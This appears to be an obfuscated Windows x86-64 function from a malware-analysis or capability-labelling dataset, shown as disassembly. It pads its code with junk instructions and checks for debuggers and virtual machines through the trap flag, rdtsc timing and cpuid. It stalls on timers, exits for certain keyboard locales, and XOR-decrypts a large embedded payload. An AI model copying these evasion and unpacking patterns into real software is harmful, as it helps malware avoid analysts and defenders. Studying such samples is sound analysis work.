Function at 0x140004293
Capabilities:
Accept command line arguments
Check for trap flag exception
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x15b1e8
call fcn.14000eccd
sub rsp, rax
movaps xmmword [rsp + 0x15b1d0], xmm6
or rax, rax
mov rax, rax
sub rax, 0
nop
sub rax, 0
sub rax, 0
sub rax, 0
mov rax, rax
or rax, 0
nop
add rax, 0
nop
xor rax, 0
mov rax, rax
xor rax, 0
or rax, rax
xor rax, 0
nop
nop
xor rax, 0
or rax, rax
or rax, 0
nop
nop
nop
nop
nop
or rax, 0
nop
mov rax, rax
xor rax, 0
or rax, rax
nop
or rax, 0
nop
or rax, 0
or rax, 0
xor rax, 0
nop
xor rax, 0
or rax, 0
mov rax, rax
mov rax, rax
or rax, 0
nop
or rax, rax
xor rax, 0
or rax, rax
nop
nop
xor rax, 0
mov rax, rax
or rax, rax
or rax, rax
call fcn.1400035ac
or rcx, rcx
add rcx, 0
or rcx, 0
or rcx, rcx
or rcx, rcx
or rcx, rcx
xchg rcx, rcx
xchg rcx, rcx
or rcx, rcx
xor rcx, 0
or rcx, 0
cmp byte [rax + 2], 0
je 0x1400043e1
or rax, rax
nop
or rax, rax
or rax, 0
nop
mov rax, rax
sub rax, 0
or rax, rax
xor rax, 0
or rax, 0
or rax, rax
or rax, rax
add rax, 0
sub rax, 0
nop
or rax, rax
or rax, 0
or rax, 0
mov rax, rax
or rax, rax
or rax, rax
add rax, 0
or rax, rax
mov rax, rax
movaps xmm6, xmmword [rsp + 0x15b1d0]
add rsp, 0x15b1e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, rax
or rax, 0
nop
xor rax, 0
nop
sub rax, 0
or rax, 0
add rax, 0
add rax, 0
sub rax, 0
sub rax, 0
xor rax, 0
or rax, 0
call fcn.140004240
mov rsi, rax
lea rax, [0x14000bd9d]
lea rdi, [rsp + 0x1d0]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0xaa06b3c69229428b
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.140002c92
xorps xmm0, xmm0
movups xmmword [rdi + 0xc], xmm0
movaps xmmword [rdi], xmm0
xor edx, edx
lea rcx, [0x14001b87b]
cmp rdx, 0x18
jae 0x14000446f
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x1d0], r8
add rdx, 8
jmp 0x140004453
mov edx, 0x18
cmp rdx, 0x1b
ja 0x1400044a5
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x51000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x1d0], r8d
add rdx, 4
jmp 0x140004474
movzx eax, word [rax + 0x1c]
xor eax, 0x7226
lea rdi, [rsp + 0x1d0]
mov word [rdi + 0x1c], ax
movaps xmm0, xmmword [rdi]
lea r8, [rsp + 0xad9d0]
movaps xmmword [r8], xmm0
mov rax, qword [rdi + 0xe]
mov qword [r8 + 0xe], rax
mov eax, dword [rdi + 0x16]
mov dword [r8 + 0x16], eax
movzx eax, word [rdi + 0x1a]
mov word [r8 + 0x1a], ax
movzx eax, word [rdi + 0x1c]
mov word [r8 + 0x1c], ax
mov rdx, qword [rsi]
mov r9d, 0x1e
mov rcx, rdi
call fcn.140003e69
cmp byte [rdi], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x1d8]
mov rcx, rcx
or rcx, 0
or rcx, rcx
xchg rcx, rcx
xchg rcx, rcx
mov rcx, rcx
sub rcx, 0
mov rcx, rcx
sub rcx, 0
xchg rcx, rcx
sub rcx, 0
add rcx, 0
xor rcx, 0
sub rcx, 0
mov rcx, rcx
xor rcx, 0
or rcx, rcx
add rcx, 0
xor rcx, 0
xchg rcx, rcx
lea rdx, [0x1400034af]
mov ecx, 1
call rax
mov rsi, rax
sub rax, 0
add rax, 0
xor rax, 0
or rax, 0
or rax, 0
or rax, 0
mov rax, rax
or rax, rax
or rax, 0
or rax, 0
nop
mov rax, rax
mov rax, rax
xor rax, 0
nop
add rax, 0
or rax, rax
nop
sub rax, 0
nop
xor rax, 0
mov rax, rax
pushfq
pop rax
xor rcx, 0
xor rcx, 0
xor rcx, 0
xchg rcx, rcx
xor rcx, 0
or rcx, 0
or rcx, rcx
sub rcx, 0
add rcx, 0
mov rcx, rcx
sub rcx, 0
add rcx, 0
or rcx, 0
sub rcx, 0
xchg rcx, rcx
or rax, 0x100
mov rcx, rcx
add rcx, 0
xchg rcx, rcx
add rcx, 0
sub rcx, 0
or rcx, 0
or rcx, 0
nop
or rcx, rcx
or rcx, 0
add rcx, 0
add rcx, 0
mov rcx, rcx
nop
xor rcx, 0
xchg rcx, rcx
add rcx, 0
or rcx, rcx
push rax
popfq
nop
or rax, 0
xor rax, 0
sub rax, 0
or rax, 0
call fcn.140004240
mov rbx, rax
lea rax, [0x140014e7c]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0xdefdaf30e3c7cb27
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.14000307b
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x1d0], xmm0
xor ecx, ecx
lea rdx, [0x14001b899]
cmp rcx, 0x1f
ja 0x1400046ae
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], r8
add rcx, 8
jmp 0x140004692
mov al, byte [rax + 0x20]
xor al, 0xfb
lea rdi, [rsp + 0x1d0]
movaps xmm0, xmmword [rdi]
movaps xmm1, xmmword [rdi + 0x10]
lea r8, [rsp + 0xad9d0]
movaps xmmword [r8], xmm0
movaps xmmword [r8 + 0x10], xmm1
mov byte [r8 + 0x20], al
mov rdx, qword [rbx]
mov r9d, 0x21
mov rcx, rdi
call fcn.140003e69
cmp byte [rdi], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x1d8]
mov rcx, rcx
or rcx, rcx
or rcx, 0
or rcx, rcx
or rcx, 0
add rcx, 0
xor rcx, 0
xchg rcx, rcx
add rcx, 0
sub rcx, 0
add rcx, 0
add rcx, 0
sub rcx, 0
nop
mov rcx, rsi
call rax
nop
add rax, 0
nop
add rax, 0
xor rax, 0
nop
nop
or rax, rax
sub rax, 0
mov al, byte [0x14017a040]
test al, al
je 0x14000437a
mov rax, rax
sub rax, 0
mov rax, rax
or rax, 0
nop
nop
or rax, 0
add rax, 0
nop
nop
add rax, 0
nop
nop
or rax, 0
sub rax, 0
add rax, 0
add rax, 0
mov rax, rax
or rax, rax
add rax, 0
sub rax, 0
nop
or rax, rax
xor rax, 0
or rax, 0
nop
sub rax, 0
add rax, 0
sub rax, 0
nop
sub rax, 0
nop
nop
nop
nop
nop
or rax, 0
nop
xor rax, 0
add rax, 0
add rax, 0
sub rax, 0
mov rax, rax
sub rax, 0
or rax, rax
xor rax, 0
xor rax, 0
sub rax, 0
add rax, 0
nop
or rax, 0
mov rax, rax
or rax, rax
nop
or rax, 0
xor rax, 0
or rax, rax
xor rax, 0
mov rax, rax
mov rax, rax
nop
xor rax, 0
xor rax, 0
xor rax, 0
lea rdi, [rsp + 0x1d0]
mov qword [rdi], 8
xorps xmm0, xmm0
movups xmmword [rdi + 8], xmm0
nop
or rax, 0
sub rax, 0
xor rax, 0
xor rax, 0
or rax, rax
nop
add rax, 0
sub rax, 0
mov rax, rax
or rax, rax
sub rax, 0
sub rax, 0
sub rax, 0
nop
nop
movaps xmmword [rsp + 0xad9d0], xmm0
mov r8d, 8
mov r13d, 0x6e
xor ebx, ebx
sub r13, 1
jb 0x140004a0c
mov rax, rax
nop
add rax, 0
or rax, 0
or rax, 0
nop
xor rax, 0
mov rax, rax
or rax, 0
add rax, 0
nop
or rax, rax
or rax, 0
nop
sub rax, 0
sub rax, 0
or rax, 0
or rax, rax
sub rax, 0
add rax, 0
or rax, 0
sub rax, 0
mov rax, rax
nop
add rax, 0
add rax, 0
or rax, 0
sub rax, 0
sub rax, 0
sub rax, 0
or rax, 0
mov rax, rax
sub rax, 0
or rax, rax
or rax, rax
or rax, 0
rdtsc
mov rsi, rax
mov r14, rdx
nop
or rax, rax
add rax, 0
mov rax, rax
sub rax, 0
xor rax, 0
nop
sub rax, 0
xor rax, 0
nop
or rax, 0
or rax, 0
or rax, rax
xor rax, 0
xor rax, 0
xor rax, 0
mov rax, rax
or rax, rax
add rax, 0
xor eax, eax
xor ecx, ecx
mov r9, rbx
cpuid
xchg rbx, r9
mov dword [rsp + 0xad9d0], eax
mov dword [rsp + 0xad9d4], r9d
mov dword [rsp + 0xad9d8], ecx
mov dword [rsp + 0xad9dc], edx
nop
sub rax, 0
sub rax, 0
nop
mov rax, rax
add rax, 0
or rax, rax
xor rax, 0
mov rax, rax
xor rax, 0
add rax, 0
add rax, 0
nop
rdtsc
mov r15, rax
mov r12, rdx
add rax, 0
nop
mov rax, rax
or rax, 0
add rax, 0
xor rax, 0
sub rax, 0
sub rax, 0
nop
or rax, 0
or rax, 0
sub rax, 0
cmp rbx, qword [rsp + 0x1d8]
jne 0x1400049df
mov rcx, rdi
mov rdx, rbx
call fcn.140002ac3
mov r8, qword [rsp + 0x1d0]
mov rbx, qword [rsp + 0x1e0]
shl r14, 0x20
or rsi, r14
shl r12, 0x20
or r15, r12
sub r15, rsi
mov qword [r8 + rbx*8], r15
mov rbx, qword [rsp + 0x1e0]
inc rbx
mov qword [rsp + 0x1e0], rbx
jmp 0x14000486f
or rax, rax
nop
nop
or rax, rax
nop
xor rax, 0
sub rax, 0
or rax, 0
sub rax, 0
or rax, rax
nop
sub rax, 0
xor rax, 0
add rax, 0
xor rax, 0
or rax, rax
mov rax, rax
xor rax, 0
or rax, 0
sub rax, 0
xor rax, 0
or rax, rax
nop
add rax, 0
nop
sub rax, 0
xor rax, 0
xor rax, 0
nop
mov eax, dword [rsp + 0xad9dc]
mov eax, dword [rsp + 0xad9d8]
mov eax, dword [rsp + 0xad9d0]
mov eax, dword [rsp + 0xad9d4]
sub rax, 0
nop
or rax, 0
mov rax, rax
mov rax, rax
nop
xor rax, 0
nop
or rax, 0
mov r14, qword [rsp + 0x1d0]
test rbx, rbx
je 0x140004ab1
bsr rax, rbx
xor rax, 0x3f
jmp 0x140004ab6
mov eax, 0x40
mov ecx, 0x40
sub ecx, eax
mov dword [rsp + 0x20], ecx
lea r8, [rsp + 0xe0]
mov rcx, r14
mov rdx, rbx
xor r9d, r9d
call fcn.140002297
add rax, 0
xor rax, 0
nop
or rax, rax
mov rax, rax
or rax, rax
add rax, 0
or rax, rax
xor rax, 0
xor rax, 0
or rax, 0
sub rax, 0
mov rax, rax
or rax, rax
add rax, 0
add rax, 0
add rax, 0
sub rax, 0
mov rax, rax
mov rax, rax
nop
add rax, 0
add rax, 0
cmp rbx, 0x68
jbe 0x14000ab17
nop
sub rax, 0
add rax, 0
or rax, 0
add rax, 0
nop
sub rax, 0
mov rax, rax
mov rax, rax
or rax, 0
nop
or rax, 0
or rax, 0
mov eax, 5
xor esi, esi
add rsi, qword [r14 + rax*8]
inc rax
cmp rax, 0x69
jne 0x140004b5f
sub rax, 0
sub rax, 0
nop
mov rax, rax
or rax, 0
sub rax, 0
sub rax, 0
mov rax, rax
or rax, 0
mov rax, rax
or rax, rax
mov rax, rax
or rax, rax
nop
nop
nop
or rax, 0
nop
mov r8, qword [rsp + 0x1d8]
test r8, r8
je 0x140004bbd
shl r8, 3
mov edx, 8
mov rcx, r14
call fcn.140002b6c
cmp rsi, 0x18703
ja 0x14000437a
add rax, 0
or rax, 0
or rax, 0
add rax, 0
nop
xor rax, 0
or rax, 0
nop
sub rax, 0
sub rax, 0
xor rax, 0
mov rax, rax
mov rax, rax
nop
xor rax, 0
sub rax, 0
mov rax, rax
sub rax, 0
sub rax, 0
xor rax, 0
add rax, 0
sub rax, 0
or rax, 0
nop
xor rax, 0
or rax, rax
nop
xor rax, 0
sub rax, 0
sub rax, 0
mov rax, rax
nop
add rax, 0
nop
mov rax, rax
nop
mov rax, rax
add rax, 0
nop
nop
xor rax, 0
add rax, 0
add rax, 0
sub rax, 0
xor rax, 0
nop
mov rax, rax
nop
mov rax, rax
sub rax, 0
add rax, 0
add rax, 0
nop
nop
nop
xor rax, 0
xor rax, 0
sub rax, 0
sub rax, 0
mov eax, 0xffffffff
cpuid
sub rcx, 0
sub rcx, 0
nop
nop
xchg rcx, rcx
cmp eax, 0xffffffff
je 0x14000437a
call fcn.140010c73
mov rbx, rax
mov rsi, rax
add rsi, 0x10
mov r15d, 0xa
mov rax, qword [rbx + 0x110]
cmp rax, 0x3f
jae 0x140004cd1
lea rcx, [rax + 2]
mov qword [rbx + 0x110], rcx
mov rax, qword [rbx + rax*4 + 0x10]
jmp 0x140004d03
jne 0x140004cf3
mov r14d, dword [rbx + 0x10c]
mov edx, 1
mov rcx, rsi
call fcn.140003113
mov eax, dword [rbx + 0x10]
shl rax, 0x20
or rax, r14
jmp 0x140004d03
mov edx, 2
mov rcx, rsi
call fcn.140003113
mov rax, qword [rsi]
mul r15
shr rax, 0x3d
cmp eax, 4
ja 0x140004cb2
mov r14, rdx
add r14, 5
or rax, 0
xor rax, 0
add rax, 0
or rax, 0
xor rax, 0
mov rax, rax
nop
nop
sub rax, 0
xor rax, 0
xor rax, 0
or rax, rax
or rax, 0
sub rax, 0
add rax, 0
or rax, 0
add rax, 0
add rax, 0
or rax, rax
nop
sub rax, 0
or rax, rax
sub rax, 0
mov rax, rax
call fcn.140016066
mov r12, rax
mov ebp, edx
or rax, 0
or rax, rax
add rax, 0
nop
nop
or rax, 0
xor rax, 0
add rax, 0
add rax, 0
or rax, 0
add rax, 0
nop
add rax, 0
nop
nop
sub rax, 0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call sub.KERNEL32.dll_CreateWaitableTimerExW
test rax, rax
je 0x140004e16
mov rsi, rax
imul rax, r14, 0xffffffffff676980
lea rdx, [rsp + 0x1d0]
mov qword [rdx], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov rcx, rsi
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_SetWaitableTimer
test eax, eax
je 0x140004e0e
mov rcx, rsi
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
mov r15d, eax
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
cmp r15d, 0xffffffff
jne 0x140004e22
jmp 0x140004e16
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
imul ecx, r14d, 0x3e8
call sub.KERNEL32.dll_Sleep
mov dword [rsp + 0x88], ebp
mov qword [rsp + 0x80], r12
nop
or rax, rax
or rax, 0
sub rax, 0
mov rax, rax
mov rax, rax
sub rax, 0
or rax, 0
call fcn.140016066
mov r12, rax
mov r15d, edx
call fcn.1400160c6
test rax, rax
je 0x14000ab17
mov rcx, rax
xor r8d, r8d
mov eax, 0x3b9aca00
xor edx, edx
div rcx
mov r13, rax
cmp rcx, 1
sete byte [rsp + 0x138]
cmove r13d, r8d
mov rbp, qword [rsp + 0x80]
mov rcx, rbp
mov esi, dword [rsp + 0x88]
mov edx, esi
mov r8, r12
mov r9d, r15d
call fcn.140016102
cmp al, 1
jne 0x140004f19
mov rcx, rbp
mov edx, esi
mov qword [rsp + 0x130], r12
mov r8, r12
mov dword [rsp + 0xd8], r15d
mov r9d, r15d
call fcn.140016128
cmp edx, 0x3b9aca00
je 0x14000ab17
xor r8d, r8d
mov cl, byte [rsp + 0x138]
mov r8b, cl
mov rcx, rax
mov r9d, r13d
call fcn.140016102
inc al
cmp al, 2
mov rbp, qword [rsp + 0x80]
mov esi, dword [rsp + 0x88]
mov r12, qword [rsp + 0x130]
mov r15d, dword [rsp + 0xd8]
jae 0x140004f19
xor esi, esi
xor ebp, ebp
jmp 0x140004f2f
mov rcx, r12
mov edx, r15d
mov r8, rbp
mov r9d, esi
call fcn.140016128
mov rsi, rax
mov ebp, edx
mov rcx, rbx
call fcn.1400100c4
cmp ebp, 0x3b9aca00
lea r13, [rsp + 0xe0]
je 0x14000437a
cmp rsi, r14
jb 0x14000437a
xor rax, 0
add rax, 0
sub rax, 0
xor rax, 0
xor rax, 0
sub rax, 0
nop
call fcn.1400041ed
mov rsi, rax
lea rax, [0x140015368]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0xfcef6c86b7ab096b
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002dec
and qword [rsp + 0x1e0], 0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1d0], xmm0
xor ecx, ecx
lea rdx, [0x14001b8f9]
cmp rcx, 0x17
ja 0x140004fe4
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], r8
add rcx, 8
jmp 0x140004fc8
lea rbx, [rsp + 0x1d0]
mov rax, qword [rbx + 0x10]
lea r8, [rsp + 0xad9d0]
mov qword [r8 + 0x10], rax
movaps xmm0, xmmword [rbx]
movaps xmmword [r8], xmm0
mov rdx, qword [rsi]
mov r9d, 0x18
mov rcx, rbx
call fcn.140003e69
cmp byte [rbx], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x1d8]
xchg rcx, rcx
add rcx, 0
or rcx, rcx
or rcx, 0
xchg rcx, rcx
add rcx, 0
or rcx, 0
xor rcx, 0
xchg rcx, rcx
call rax
mov rcx, rcx
xor rcx, 0
add rcx, 0
nop
sub rcx, 0
nop
sub rcx, 0
or rcx, rcx
xchg rcx, rcx
sub rcx, 0
nop
mov rcx, rcx
or rcx, 0
xor rcx, 0
sub rcx, 0
or rcx, rcx
xchg rcx, rcx
movzx eax, ax
lea ecx, [rax - 0x23]
cmp ecx, 0x3b
jbe 0x14000518d
lea ecx, [rax - 0x419]
cmp ecx, 0x27
jbe 0x1400051a6
cmp eax, 0x19
je 0x14000437a
cmp eax, 0x819
je 0x14000437a
cmp eax, 0x742c
je 0x14000437a
cmp eax, 0x782c
je 0x14000437a
cmp eax, 0x7843
je 0x14000437a
cmp eax, 0x7c43
je 0x14000437a
xor rax, 0
or rax, rax
or rax, rax
add rax, 0
nop
add rax, 0
nop
or rax, rax
or rax, rax
mov rax, rax
nop
nop
mov rax, rax
nop
or rax, rax
nop
xor rax, 0
or rax, 0
call sub.KERNEL32.dll_GetCommandLineW
mov qword [rsp + 0x60], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
test rax, rax
je 0x1400051bf
mov rdi, rax
movzx edx, word [rax]
test dx, dx
je 0x1400051bf
lea rsi, [rsp + 0xe0]
mov qword [rsi], 2
movups xmmword [rsi + 8], xmm0
add rdi, 2
xor ebx, ebx
test dx, dx
je 0x1400052d4
cmp dx, 9
je 0x140005173
movzx eax, dx
cmp eax, 0x20
je 0x140005173
cmp eax, 0x22
jne 0x14000517c
not bl
and bl, 1
jmp 0x140005184
test bl, 1
je 0x1400052de
mov rcx, rsi
call fcn.140015fb9
movzx edx, word [rdi]
add rdi, 2
jmp 0x140005150
movabs rdx, 0x800000030000201
bt rdx, rcx
jb 0x14000437a
jmp 0x14000508b
movabs rdx, 0xc000008401
bt rdx, rcx
jb 0x14000437a
jmp 0x14000509a
lea rax, [rsp + 0xe0]
mov qword [rax], 2
movups xmmword [rax + 8], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rsp + 0x80], rax
xor r14d, r14d
mov edi, 0xffffffff
xor r15d, r15d
cmp r8, 0x201
jae 0x140005207
mov rsi, rbx
mov r13d, 0x200
mov r12, r8
jmp 0x14000524d
sub r8, r15
lea rcx, [rsp + 0xe0]
mov rdx, r8
call fcn.140014400
mov rsi, qword [rsp + 0xe0]
mov r14, qword [rsp + 0xe8]
cmp r14, rdi
mov r15d, 0xffffffff
cmovb r15, r14
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0x80], rsi
mov r13, r15
mov r12, r15
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
xor ecx, ecx
mov rdx, rsi
mov r8d, r12d
call sub.KERNEL32.dll_GetModuleFileNameW
mov ebp, eax
test eax, eax
jne 0x140005274
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x1400054ba
mov r8d, ebp
cmp r12, r8
jne 0x1400052a6
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x7a
jne 0x14000ab17
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
mov edi, 0xffffffff
cmovae r12, rax
mov r8, r12
jmp 0x1400051f0
jb 0x1400051f0
cmp r13, r8
jb 0x14000ab17
lea rbx, [rsp + 0xad9d0]
mov rcx, rbx
mov rdx, rsi
call fcn.140013cf6
mov bpl, byte [rbx + 0x18]
mov rsi, qword [rbx]
jmp 0x1400054d5
add rdi, 0xfffffffffffffffe
jmp 0x1400052de
add rdi, 2
movzx eax, word [rdi]
cmp eax, 0x20
je 0x1400052da
cmp eax, 9
je 0x1400052da
mov rbx, qword [rsp + 0xe0]
mov r8, qword [rsp + 0xf0]
lea r14, [rsp + 0x1d0]
mov rcx, r14
mov rdx, rbx
call fcn.140013cf6
lea r15, [rsp + 0x60]
mov rcx, r15
mov rdx, r14
call fcn.14001639a
lea r12, [rsp + 0xad9d0]
mov qword [r12], 2
xorps xmm0, xmm0
movups xmmword [r12 + 8], xmm0
xor eax, eax
mov ebp, eax
movzx edx, word [rdi]
test edx, edx
je 0x14000544c
mov rsi, rdi
add rdi, 2
cmp edx, 9
je 0x140005377
cmp edx, 0x20
je 0x140005377
cmp edx, 0x22
je 0x140005388
cmp edx, 0x5c
jne 0x14000537c
mov esi, 1
movzx eax, word [rdi]
cmp eax, 0x5c
jne 0x1400053a6
add rdi, 2
inc rsi
jmp 0x140005366
test bpl, bpl
je 0x1400053db
mov rcx, r12
call fcn.140015fb9
mov eax, ebp
jmp 0x140005339
mov al, 1
test bpl, bpl
je 0x140005339
movzx ecx, word [rdi]
cmp ecx, 0x22
je 0x14000542e
xor eax, eax
test ecx, ecx
jne 0x140005339
jmp 0x14000a9af
cmp eax, 0x22
jne 0x14000541e
mov rdx, rsi
shr rdx, 1
mov rcx, r12
call fcn.140015216
mov eax, ebp
test sil, 1
je 0x140005339
xor eax, eax
cmp word [rdi], 0
setne al
lea rdi, [rdi + rax*2]
mov rcx, r12
mov dx, 0x22
jmp 0x14000537f
mov rdx, qword [rsp + 0xad9d0]
mov r8, qword [rsp + 0xad9e0]
mov rcx, r14
call fcn.140013cf6
mov rcx, r15
mov rdx, r14
call fcn.14001639a
and qword [rsp + 0xad9e0], 0
movzx eax, word [rdi]
cmp eax, 0x20
je 0x140005418
cmp eax, 9
jne 0x140005384
add rdi, 2
jmp 0x140005407
mov rcx, r12
mov rdx, rsi
call fcn.140015216
jmp 0x140005384
mov rcx, r12
mov dx, 0x22
call fcn.140015fb9
cmp word [rsi + 2], 0
lea rax, [rsi + 4]
cmovne rdi, rax
jmp 0x140005384
mov rsi, qword [rsp + 0xad9d0]
mov r8, qword [rsp + 0xad9e0]
test r8, r8
jne 0x140005466
test bpl, bpl
je 0x140005486
lea rdi, [rsp + 0x1d0]
mov rcx, rdi
mov rdx, rsi
call fcn.140013cf6
lea rcx, [rsp + 0x60]
mov rdx, rdi
call fcn.14001639a
mov rdi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x70]
mov rdx, qword [rsp + 0xad9d8]
mov rcx, rsi
call fcn.1400144c0
mov rdx, qword [rsp + 0xe8]
mov rcx, rbx
call fcn.1400144c0
jmp 0x140005561
call fcn.1400144aa
mov rsi, rax
mov qword [rsp + 0xad9d0], rax
mov byte [rsp + 0xad9e8], 2
mov bpl, 2
lea r13, [rsp + 0xe0]
mov rcx, qword [rsp + 0x80]
mov rdx, r14
call fcn.1400144c0
lea rax, [rsp + 0x1d8]
cmp bpl, 2
jne 0x140005513
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov rcx, rsi
call fcn.140013897
mov bpl, 1
mov esi, 1
jmp 0x14000553a
movups xmm0, xmmword [rsp + 0xad9d8]
movups xmmword [rax], xmm0
mov eax, dword [rsp + 0xad9e9]
mov ecx, dword [rsp + 0xad9ec]
mov dword [rsp + 0x1e9], eax
mov dword [rsp + 0x1ec], ecx
lea rdx, [rsp + 0x1d0]
mov qword [rdx], rsi
mov byte [rdx + 0x18], bpl
lea rsi, [rsp + 0x60]
mov rcx, rsi
call fcn.14001639a
mov rdi, qword [rsi]
mov r15, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
shl r14, 5
add r14, rdi
lea rdx, [rsp + 0xad9d0]
mov qword [rdx], rdi
mov qword [rdx + 8], r15
mov qword [rdx + 0x10], rdi
mov qword [rdx + 0x18], r14
lea rsi, [rsp + 0x1d0]
mov rcx, rsi
call fcn.1400163e4
cmp qword [rsi], 0
je 0x140005750
movabs rcx, 0x555555555555554
mov rax, qword [rsp + 0xad9e8]
sub rax, qword [rsp + 0xad9e0]
shr rax, 5
cmp rax, 4
mov r15d, 3
cmovae r15, rax
cmp r15, rcx
ja 0x14000ab17
inc r15
imul rcx, r15, 0x18
call fcn.140002b76
test rax, rax
je 0x14000ab17
mov r13, rax
lea rbx, [rsp + 0x1d0]
mov rax, qword [rbx + 0x10]
mov qword [r13 + 0x10], rax
movups xmm0, xmmword [rbx]
movups xmmword [r13], xmm0
movups xmm0, xmmword [rsp + 0xad9d0]
movups xmm1, xmmword [rsp + 0xad9e0]
movaps xmmword [rbx + 0x10], xmm1
movaps xmmword [rbx], xmm0
mov ebp, 1
mov esi, 0x18
lea r14, [rsp + 0xc0]
lea r12, [rsp + 0xe0]
mov rcx, r14
mov rdx, rbx
call fcn.1400163e4
cmp qword [rsp + 0xc0], 0
je 0x140005719
cmp rbp, r15
jne 0x1400056f2
mov rdi, qword [rsp + 0x1e8]
sub rdi, qword [rsp + 0x1e0]
shr rdi, 5
inc rdi
add rdi, r15
jb 0x14000ab17
lea rax, [r15 + r15]
cmp rax, rdi
cmova rdi, rax
cmp rdi, 5
jae 0x140005688
mov edi, 4
movabs rax, 0x555555555555554
inc rax
xor edx, edx
cmp rdi, rax
setbe al
test r15, r15
je 0x1400056bd
imul rcx, r15, 0x18
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xf0], rcx
mov ecx, 8
jmp 0x1400056bf
xor ecx, ecx
imul r8, rdi, 0x18
mov dl, al
shl rdx, 3
mov qword [rsp + 0xe8], rcx
lea rcx, [rsp + 0x60]
mov r9, r12
call fcn.14000ad1d
cmp qword [rsp + 0x60], 0
jne 0x14000ab11
mov r13, qword [rsp + 0x68]
mov r15, rdi
mov rax, qword [rsp + 0xd0]
mov qword [r13 + rsi + 0x10], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [r13 + rsi], xmm0
inc rbp
add rsi, 0x18
jmp 0x14000562f
lea rcx, [rsp + 0x1d0]
call fcn.14001549b
mov qword [rsp + 0x168], r13
mov qword [rsp + 0x170], r15
mov qword [rsp + 0x178], rbp
lea r13, [rsp + 0xe0]
lea rsi, [rsp + 0x1d0]
jmp 0x140005774
mov qword [rsp + 0x168], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x170], xmm0
lea rcx, [rsp + 0xad9d0]
call fcn.14001549b
add rax, 0
xor rax, 0
add rax, 0
mov rax, rax
nop
add rax, 0
or rax, 0
xor rax, 0
nop
lea rax, [0x1400c6693]
lea rbx, [rsp + 0x1d0]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0xdd2e43915db3a064
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.140003033
mov rsi, rax
xor edi, edi
mov r8d, 0xad800
mov rcx, rbx
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x14001bbec]
cmp rdi, 0xad7ff
ja 0x1400057f6
mov rcx, qword [rdi + rax]
xor rcx, qword [rsi + rdi]
mov qword [rsp + rdi + 0x1d0], rcx
add rdi, 8
jmp 0x1400057d7
lea rcx, [rsp + 0xad9d0]
lea rsi, [rsp + 0x1d0]
mov r8d, 0xad800
mov rdx, rsi
call sub.msvcrt.dll_memcpy
or rax, rax
sub rax, 0
nop
or rax, 0
nop
or rax, 0
or rax, 0
sub rax, 0
nop
nop
nop
xor rax, 0
nop
mov rax, rax
nop
nop
xor rax, 0
xor rax, 0
add rax, 0
mov ecx, 0xad800
call fcn.14000adf3
mov qword [rsi], rax
mov qword [rsi + 8], rdx
and qword [rsi + 0x10], 0
lea rbx, [rsp + 0x1d0]
mov edx, 0xad800
mov rcx, rbx
call fcn.14000ac47
mov rcx, qword [rbx]
mov rsi, qword [rbx + 0x10]
xor eax, eax
mov dl, byte [rsp + rax + 0xad9d0]
mov byte [rcx + rsi], dl
inc rsi
inc rax
cmp rax, 0xad800
jne 0x14000587a
nop
nop
nop
mov rax, rax
xor rax, 0
nop
xor rax, 0
or rax, rax
add rax, 0
or rax, rax
xor rax, 0
or rax, 0
add rax, 0
mov rax, rax
xor rax, 0
test rsi, rsi
je 0x14000ab17
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x190], rax
or rax, rax
nop
nop
xor rax, 0
or rax, 0
xor rax, 0
add rax, 0
sub rax, 0
or rax, rax
or rax, 0
xor rax, 0
add rax, 0
nop
sub rax, 0
or rax, 0
mov rax, rax
xor rax, 0
nop
nop
add rax, 0
mov rax, rax
add rax, 0
mov rax, rax
or rax, rax
sub rax, 0
or rax, 0
nop
mov rax, rax
sub rax, 0
nop
sub rax, 0
sub rax, 0
mov rax, rax
